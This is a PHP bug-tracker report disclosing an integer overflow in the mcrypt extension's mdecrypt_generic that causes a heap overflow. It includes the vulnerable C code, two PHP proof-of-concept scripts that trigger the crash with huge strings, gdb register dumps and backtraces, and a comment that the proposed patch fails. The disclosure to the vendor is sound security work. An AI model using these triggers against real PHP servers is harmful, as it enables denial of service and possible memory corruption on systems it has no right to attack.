|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-06-20 08:33 UTC] nguyenvuhoang199321 at gmail dot com
Description:
------------
When i looked at PHP_FUNCTION(mcrypt_generic) i had found an integer overflow when mcrypt_generic try to calculate data_size, and then use this value pass to emalloc this result will lead to heap overflow.
```
PHP_FUNCTION(mdecrypt_generic)
{
**** snip***
int block_size, data_size; // signed int
/* Check blocksize */
if (mcrypt_enc_is_block_mode(pm->td) == 1) { /* It's a block algorithm */
block_size = mcrypt_enc_get_block_size(pm->td);
data_size = ((((int)data_len - 1) / block_size) + 1) * block_size;
data_s = emalloc(data_size + 1);
memset(data_s, 0, data_size);
memcpy(data_s, data, data_len);
}
```
As you can see data_size follow by formular : data_size = ((((int)data_len - 1) / block_size) + 1) * block_size; because data_size is int. If attacker control data_len for example data_len = 0xffffffff then data_size = 0x20, after that, they will emalloc(0x20) bytes and then use memcpy data to data_s with data_len is 0xffffffff in unsigned int is 4294967295. This may lead to heap overflow
Test script:
---------------
<?php
/* Data */
ini_set('memory_limit',-1);
$key = str_repeat('C', 32);
$str = str_repeat('A', 0xfffffff0);
// $td = mcrypt_module_open('des', '', 'ecb', '');
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', '');
$ks = mcrypt_enc_get_key_size($td);
$iv = str_repeat('D', 32);
if (mcrypt_generic_init($td, $key, $iv) != -1) {
mcrypt_generic_init($td, $key, $iv);
$p_t = mdecrypt_generic($td, $str);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
}
?>
Expected result:
----------------
$ ./php7.0.7 test.php
[1] 12342 segmentation fault (core dumped) ./php7.0.7 test.php
Actual result:
--------------
gdb-peda$ r test.php
Starting program: /media/Data/Build/audit/php7.0.7 test.php
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff427c320 --> 0x0
RBX: 0x0
RCX: 0x8000f427c310
RDX: 0xffe7c2d0
RSI: 0x7ffef3d83d38 ('A' <repeats 200 times>...)
RDI: 0x7ffff43fffc0 ('A' <repeats 64 times><error: Cannot access memory at address 0x7ffff4400000>)
RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>: jmp 0x64e5f2 <zif_mdecrypt_generic+499>)
RIP: 0x7ffff6c2ba0e (<__memcpy_avx_unaligned+830>: vmovntdq YMMWORD PTR [rdi+0x40],ymm2)
R8 : 0x7ffff427c320 --> 0x0
R9 : 0x0
R10: 0x20 (' ')
R11: 0x7ffff77746e0 (<mcrypt_enc_get_block_size>: mov rax,QWORD PTR [rdi+0xc8])
R12: 0x424690 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe9b0 --> 0x2
R14: 0x7ffff4214030 --> 0x7ffff427f5c0 ('A' <repeats 200 times>...)
R15: 0x7ffff427f5c0 ('A' <repeats 200 times>...)
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff6c2ba01 <__memcpy_avx_unaligned+817>: sub rsi,0xffffffffffffff80
0x7ffff6c2ba05 <__memcpy_avx_unaligned+821>: vmovntdq YMMWORD PTR [rdi],ymm0
0x7ffff6c2ba09 <__memcpy_avx_unaligned+825>: vmovntdq YMMWORD PTR [rdi+0x20],ymm1
=> 0x7ffff6c2ba0e <__memcpy_avx_unaligned+830>: vmovntdq YMMWORD PTR [rdi+0x40],ymm2
0x7ffff6c2ba13 <__memcpy_avx_unaligned+835>: vmovntdq YMMWORD PTR [rdi+0x60],ymm3
0x7ffff6c2ba18 <__memcpy_avx_unaligned+840>: sub rdi,0xffffffffffffff80
0x7ffff6c2ba1c <__memcpy_avx_unaligned+844>: add rdx,0xffffffffffffff80
0x7ffff6c2ba20 <__memcpy_avx_unaligned+848>: jb 0x7ffff6c2b9e0 <__memcpy_avx_unaligned+784>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaee8 --> 0x64e590 (<zif_mdecrypt_generic+401>: jmp 0x64e5f2 <zif_mdecrypt_generic+499>)
0008| 0x7fffffffaef0 --> 0x7ffff42141e0 --> 0x0
0016| 0x7fffffffaef8 --> 0x7ffff4214220 --> 0x0
0024| 0x7fffffffaf00 --> 0xfffffda9000000e2
0032| 0x7fffffffaf08 --> 0x2000000020 (' ')
0040| 0x7fffffffaf10 --> 0x7ffff4214280 --> 0x7ffff42010e0 --> 0x900000002
0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...)
0056| 0x7fffffffaf20 --> 0xfffffff0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
272 ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S: No such file or directory.
gdb-peda$ bt
#0 __memcpy_avx_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-avx-unaligned.S:272
#1 0x000000000064e590 in zif_mdecrypt_generic (execute_data=0x7ffff4214220, return_value=0x7ffff42141e0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/ext/mcrypt/mcrypt.c:688
#2 0x000000000092cb3e in ZEND_DO_ICALL_SPEC_HANDLER () at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:586
#3 0x000000000092c56a in execute_ex (ex=0x7ffff4214030) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:414
#4 0x000000000092c67b in zend_execute (op_array=0x7ffff427e000, return_value=0x0) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend_vm_execute.h:458
#5 0x00000000008cd94a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/Zend/zend.c:1427
#6 0x00000000008362ea in php_execute_script (primary_file=0x7fffffffd630) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/main/main.c:2494
#7 0x0000000000995591 in do_cli (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:974
#8 0x000000000099675f in main (argc=0x2, argv=0x115d440) at /home/hoangnguyen/Data/Build/audit/php-7.0.7/sapi/cli/php_cli.c:1344
#9 0x00007ffff6afe830 in __libc_start_main (main=0x995f54 <main>, argc=0x2, argv=0x7fffffffe9b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7fffffffe9a8) at ../csu/libc-start.c:291
#10 0x00000000004246b9 in _start ()
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 09:00:02 2025 UTC |
Another code block that lead to integer overflow when check encrypt data is not a block cipher. They just cast data_len from unsigned int to signed int, if attacker control data_len = 0xffffffff (in signed int is -1) so data_size +1 is 0 and pass to emalloc, after that they use data_len (is unsigned integer is 4294967295) to copy data to data_s, this leads to heap overflow ``` } else { /* It's not a block algorithm */ data_size = (int)data_len; data_s = emalloc(data_size + 1); memset(data_s, 0, data_size); memcpy(data_s, data, data_len); } ``` other poc : ``` <?php /* Data */ ini_set('memory_limit',-1); $key = str_repeat('C', 32); $str = str_repeat('A', 0xffffffff); // $td = mcrypt_module_open('des', '', 'ecb', ''); // $td = mcrypt_module_open(MCRYPT_RIJNDAEL_256, '', 'cbc', ''); // block cipher $td = mcrypt_module_open('rijndael-256', '', 'ofb', ''); // not block cipher $ks = mcrypt_enc_get_key_size($td); $iv = str_repeat('D', 32); if (mcrypt_generic_init($td, $key, $iv) != -1) { mcrypt_generic_init($td, $key, $iv); $p_t = mdecrypt_generic($td, $str); mcrypt_generic_deinit($td); mcrypt_module_close($td); } ?> ``` Crash when try to copy large size to a small memory size. ``` Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0xffffffffffe6f027 RDX: 0xffffffffffffffff RSI: 0x7ffff426f027 --> 0x0 RDI: 0x7ffff4400000 RBP: 0x7fffffffaf50 --> 0x7fffffffaf80 --> 0x7fffffffafb0 --> 0x7fffffffaff0 --> 0x7fffffffb100 --> 0x7fffffffd400 --> 0x7fffffffe780 --> 0x7fffffffe8d0 --> 0x9a0b00 (<__libc_csu_init>: push r15) RSP: 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>: mov rdx,QWORD PTR [rbp-0x30]) RIP: 0x7ffff6c50328 (<__memset_avx2+392>: rep stos BYTE PTR es:[rdi],al) R8 : 0x2b3 R9 : 0x0 R10: 0x4 R11: 0x7ffff7774c00 (<mcrypt_enc_is_block_mode>: sub rsp,0x10) R12: 0x424690 (<_start>: xor ebp,ebp) R13: 0x7fffffffe9b0 --> 0x2 R14: 0x7ffff4214030 --> 0x7ffff427f5a0 --> 0x0 R15: 0x7ffff427f5a0 --> 0x0 EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff6c5031d <__memset_avx2+381>: nop DWORD PTR [rax] 0x7ffff6c50320 <__memset_avx2+384>: sub rcx,0xffffffffffffff80 0x7ffff6c50324 <__memset_avx2+388>: vmovd eax,xmm0 => 0x7ffff6c50328 <__memset_avx2+392>: rep stos BYTE PTR es:[rdi],al 0x7ffff6c5032a <__memset_avx2+394>: mov rax,rsi 0x7ffff6c5032d <__memset_avx2+397>: sub rax,rdx 0x7ffff6c50330 <__memset_avx2+400>: vzeroupper 0x7ffff6c50333 <__memset_avx2+403>: ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffaee8 --> 0x64e5db (<zif_mdecrypt_generic+476>: mov rdx,QWORD PTR [rbp-0x30]) 0008| 0x7fffffffaef0 --> 0x7ffff42141d0 --> 0x0 0016| 0x7fffffffaef8 --> 0x7ffff4214210 --> 0x0 0024| 0x7fffffffaf00 --> 0xfffffda9000000e2 0032| 0x7fffffffaf08 --> 0xf70ec160ffffffff 0040| 0x7fffffffaf10 --> 0x7ffff4214270 --> 0x7ffff42010e0 --> 0x900000002 0048| 0x7fffffffaf18 --> 0x7ffef3c00018 ('A' <repeats 200 times>...) 0056| 0x7fffffffaf20 --> 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:161 161 ../sysdeps/x86_64/multiarch/memset-avx2.S: No such file or directory. gdb-peda$ ```Today, i have time to review your patch for this bug. ``` + if (data_size <= 0) { + php_error_docref(NULL TSRMLS_CC, E_WARNING, "Integer overflow in data size"); + RETURN_FALSE; + } ``` It's still crash with my poc. Sorry with my bad (i don't review your patch) :(